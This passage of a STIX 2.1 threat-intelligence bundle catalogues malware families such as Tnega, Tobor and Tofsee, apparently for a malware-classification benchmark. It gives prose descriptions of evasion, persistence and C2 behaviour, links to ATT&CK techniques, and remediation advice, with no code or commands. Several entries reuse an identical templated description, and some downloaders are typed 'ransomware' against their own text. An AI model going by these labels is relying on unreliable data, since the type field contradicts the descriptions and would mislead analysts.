server.</li>\n<li><strong>Persistence:</strong> Tivmonk ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Tivmonk receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tivmonk infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Tivmonk executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Tivmonk frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Tivmonk",
        "Downloader.Tivmonk",
        "Win32/Tivmonk"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tivmonk",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tivmonk"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc79b093-c09a-55c0-a170-bf5756a3a108",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02d679b0-ccbf-52b5-bc9a-f3f1352e0042",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tivmonk exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e999d967-3f55-548c-9956-8858238180b4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02d679b0-ccbf-52b5-bc9a-f3f1352e0042",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tivmonk exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2fc13bc-dfa0-5f9e-a126-83690cc6f66f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02d679b0-ccbf-52b5-bc9a-f3f1352e0042",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tivmonk exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ba4ae4b9-6577-504d-9b5c-7afe5ee84ca8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tmgfayxalbaj",
      "description": "<h3>Executive Summary</h3>\nTMGFAYXALBAJ is an automated, signature-based detection name used by security engines to identify a highly obfuscated, randomly generated Trojan dropper or downloader. The non-sensical, randomized naming convention strongly indicates that this executable was generated dynamically by a malware \"crypter\" or packer service. These services are specifically designed by threat actors to generate unique file hashes on every deployment, explicitly to evade static, signature-based antivirus solutions.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHighly randomized executables like this are the hallmark of massive, automated cybercriminal distribution networks. They are typically encountered as malicious email attachments (often disguised as invoices or shipping receipts) or delivered silently via drive-by downloads when a user visits a compromised website hosting an exploit kit.\n\nUpon execution, the malware's primary function is deployment and evasion:\n<ul>\n<li><strong>In-Memory Evasion:</strong> The executable acts as a heavily encrypted shell. When run, it decrypts its core malicious payload and injects it directly into the memory space of a trusted, built-in Windows process. This technique, known as Process Hollowing, prevents traditional antivirus from scanning the decrypted payload on the hard drive.</li>\n<li><strong>C2 Beaconing:</strong> Once active in memory, the Trojan \"beacons\" out to a Command and Control (C2) server to signal a successful compromise and request further instructions.</li>\n<li><strong>Payload Dropping:</strong> The ultimate purpose of this initial Trojan is to download and install a secondary, more specialized malware payload, such as a banking Trojan, a cryptocurrency miner, or enterprise ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of TMGFAYXALBAJ is a critical incident. It signifies that a sophisticated, evasion-focused threat has bypassed initial network defenses and is actively attempting to deploy a severe secondary payload onto the compromised endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The endpoint must be disconnected from the corporate network immediately to prevent the successful download of the secondary payload and to halt any potential lateral movement.</li>\n<li><strong>EDR Triage:</strong> Security analysts must utilize Endpoint Detection and Response (EDR) to trace the execution tree of the randomized executable. Identifying any child processes spawned or anomalous network connections made is critical to determining the scope of the breach.</li>\n<li><strong>Total Re-imaging:</strong> Because these trojans rely heavily on process injection and deep system hooking, attempting to \"clean\" the machine manually is highly risky. A complete bare-metal wipe and re-image from a trusted baseline is required.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Obfuscated.Gen",
        "Dropper.RandomName",
        "Win32/Trojan.Packer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tmgfayxalbaj",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tmgfayxalbaj"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c80750e-34c0-5b63-ba6d-52c64b9cf689",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba4ae4b9-6577-504d-9b5c-7afe5ee84ca8",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tmgfayxalbaj exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3d489095-3b2a-5b52-95ab-ec40b2bec1be",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba4ae4b9-6577-504d-9b5c-7afe5ee84ca8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tmgfayxalbaj exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ab778769-3240-5e9f-987b-0dadebd37195",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba4ae4b9-6577-504d-9b5c-7afe5ee84ca8",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tmgfayxalbaj exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fc744a8d-1a3b-51d4-ba89-c70830eb3fe1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tnega",
      "description": "Trojan:Win32/Tnega is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Tnega</b><br>To an end-user, a Tnega infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Tnega is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Tnega is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Tnega frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Tnega reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tnega",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tnega"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f6132cb-8b45-532e-97d4-005b3d8dabf6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc744a8d-1a3b-51d4-ba89-c70830eb3fe1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tnega exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b0ea9bc-1350-5a6e-a2d7-019499cb0116",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc744a8d-1a3b-51d4-ba89-c70830eb3fe1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tnega exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ccd884c0-3928-526a-adb6-c4472680e768",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc744a8d-1a3b-51d4-ba89-c70830eb3fe1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tnega exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--55e4f4d3-8a89-53a6-912b-d3edb9f3e834",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc744a8d-1a3b-51d4-ba89-c70830eb3fe1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tnega exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd779504-bb9b-5beb-b4ac-92d45238ff61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fc744a8d-1a3b-51d4-ba89-c70830eb3fe1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tnega exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fcb48c1b-474c-5a4e-8053-bedc49cb9448",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Toauta",
      "description": "Trojan:Win32/Toauta is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Toauta</b><br>To an end-user, a Toauta infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Toauta is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Toauta is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Toauta frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Toauta reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Toauta",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/toauta"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3ff285a5-2620-57a4-98a9-7ce39aaab4de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcb48c1b-474c-5a4e-8053-bedc49cb9448",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toauta exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41792ffb-79ff-5701-ab13-061b4f1318e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcb48c1b-474c-5a4e-8053-bedc49cb9448",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toauta exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2e3a34b-3bfb-5441-91f3-622b10c5620f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcb48c1b-474c-5a4e-8053-bedc49cb9448",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toauta exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--751d99bf-6a7a-5f09-8c2c-4e9f6f028e1d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcb48c1b-474c-5a4e-8053-bedc49cb9448",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toauta exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--54e82f90-ab90-5d0b-bdb9-c8895d2f4cb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fcb48c1b-474c-5a4e-8053-bedc49cb9448",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Toauta exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ee73108f-6763-5ea0-ba1e-41e21f5629c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tobor",
      "description": "<h3>Executive Summary</h3>\nTobor is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and conscript the endpoint into a larger Botnet. Once infected, the \"zombie\" computer is utilized by remote threat actors to participate in coordinated Distributed Denial of Service (DDoS) attacks, generate massive volumes of spam email, or serve as a proxy for further malicious activity.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nTobor is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Tobor operates with a focus on stealth and botnet participation:\n<ul>\n<li><strong>System Reconnaissance and C2 Registration:</strong> The trojan immediately collects system information and \"registers\" the new bot with a centralized command-and-control (C2) server, usually over IRC or HTTP.\n<li><strong>Persistence:</strong> Tobor ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Command Execution:</strong> The infected machine sits dormant, awaiting instructions from the botmaster. Upon command, Tobor can launch UDP/TCP floods against target IPs, download additional payloads (acting as a loader), or harvest local email addresses to propagate further spam.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Tobor infection represents a significant breach of the endpoint perimeter. Not only is the host's bandwidth and computing power being stolen for criminal enterprises, but the organization's IP address is highly likely to be blacklisted by external ISPs and security vendors due to the outbound malicious traffic.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections (especially IRC traffic) to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Tobor executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Perimeter Blocking:</strong> Analyze the botnet's C2 communication and block the associated IP addresses and domains at the corporate firewall to prevent further command execution.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Tobor",
        "Botnet.Tobor",
        "Win32/Tobor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tobor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tobor"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--80f7c484-4795-5a2c-aad1-5d63eb6fdab1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee73108f-6763-5ea0-ba1e-41e21f5629c5",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tobor exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67d041b8-6c3e-5d33-9960-c319d70ef607",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee73108f-6763-5ea0-ba1e-41e21f5629c5",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tobor exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f08da3fb-c275-58a5-aa25-7b803628a785",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee73108f-6763-5ea0-ba1e-41e21f5629c5",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tobor exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3937dfc4-2ff5-5ca4-9373-b160e56d4054",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee73108f-6763-5ea0-ba1e-41e21f5629c5",
      "target_ref": "attack-pattern--d71e4a80-4385-54ba-a7cd-286f5b07bf07",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tobor exhibits technique T1498 (Network Denial of Service (Coordinated DDoS attacks))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--65bf4760-e03a-5aa9-9b41-2ec741d4c3ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Tofsee",
      "description": "Tofsee (also widely cataloged as Gheg, Backdoor.Win32.Tofsee, and Spambot.Tofsee) is an extraordinarily resilient and sophisticated multi-purpose modular trojan and botnet that has operated globally since 2013. Engineered with an advanced plugin-based architecture, Tofsee is primarily weaponized as a high-volume spam distribution engine capable of autonomously generating and sending millions of phishing and malicious spam emails from infected endpoints. The malware communicates with its command-and-control network using a proprietary encrypted binary protocol over custom TCP ports, periodically downloading and updating specialized functional modules. These modules include SOCKS4/SOCKS5 proxy servers, cryptocurrency mining engines, distributed denial-of-service (DDoS) packet flooders, Twitter and social network spam bots, and browser traffic interceptors. Later campaigns delivering Tofsee also integrated lateral network movement modules weaponizing the EternalBlue SMB exploit (CVE-2017-0144) to spread automatically across enterprise subnets. (Observed samples in benchmark: 264)",
      "is_family": true,
      "malware_types": [
        "bot"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Gheg",
        "Backdoor.Win32.Tofsee",
        "Spambot.Tofsee",
        "Win32/Tofsee",
        "Tofsee Botnet"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Tofsee",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/tofsee"
        }
      ],
      "labels": [
        "spam_bot",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5c6d4c67-d2f0-5cca-8e17-f62561c5b311",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65bf4760-e03a-5aa9-9b41-2ec741d4c3ff",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tofsee exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59765b8d-7ea6-598f-8cf5-7d9e8e3d4aec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65bf4760-e03a-5aa9-9b41-2ec741d4c3ff",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tofsee exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1797932c-85f3-5ff5-8b83-b466ec473e38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65bf4760-e03a-5aa9-9b41-2ec741d4c3ff",
      "target_ref": "attack-pattern--cc76a884-1600-50d8-bfac-e3713d774a0d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tofsee exhibits technique T1090 (Proxy)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e89b8380-4c81-555c-9eee-3eb0a814fe11",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65bf4760-e03a-5aa9-9b41-2ec741d4c3ff",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tofsee exhibits technique T1496 (Resource Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f8e9e425-85ac-54a7-b3e9-a4c7ed3923c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65bf4760-e03a-5aa9-9b41-2ec741d4c3ff",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Tofsee exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c57907be-aadb-57ff-a773-ddd353d0825d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Toga",
      "description": "Trojan:Win32/Toga is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Toga</b><br>To an end-user, a Toga infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Toga is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Toga is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Toga frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Toga reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Toga",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/toga"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
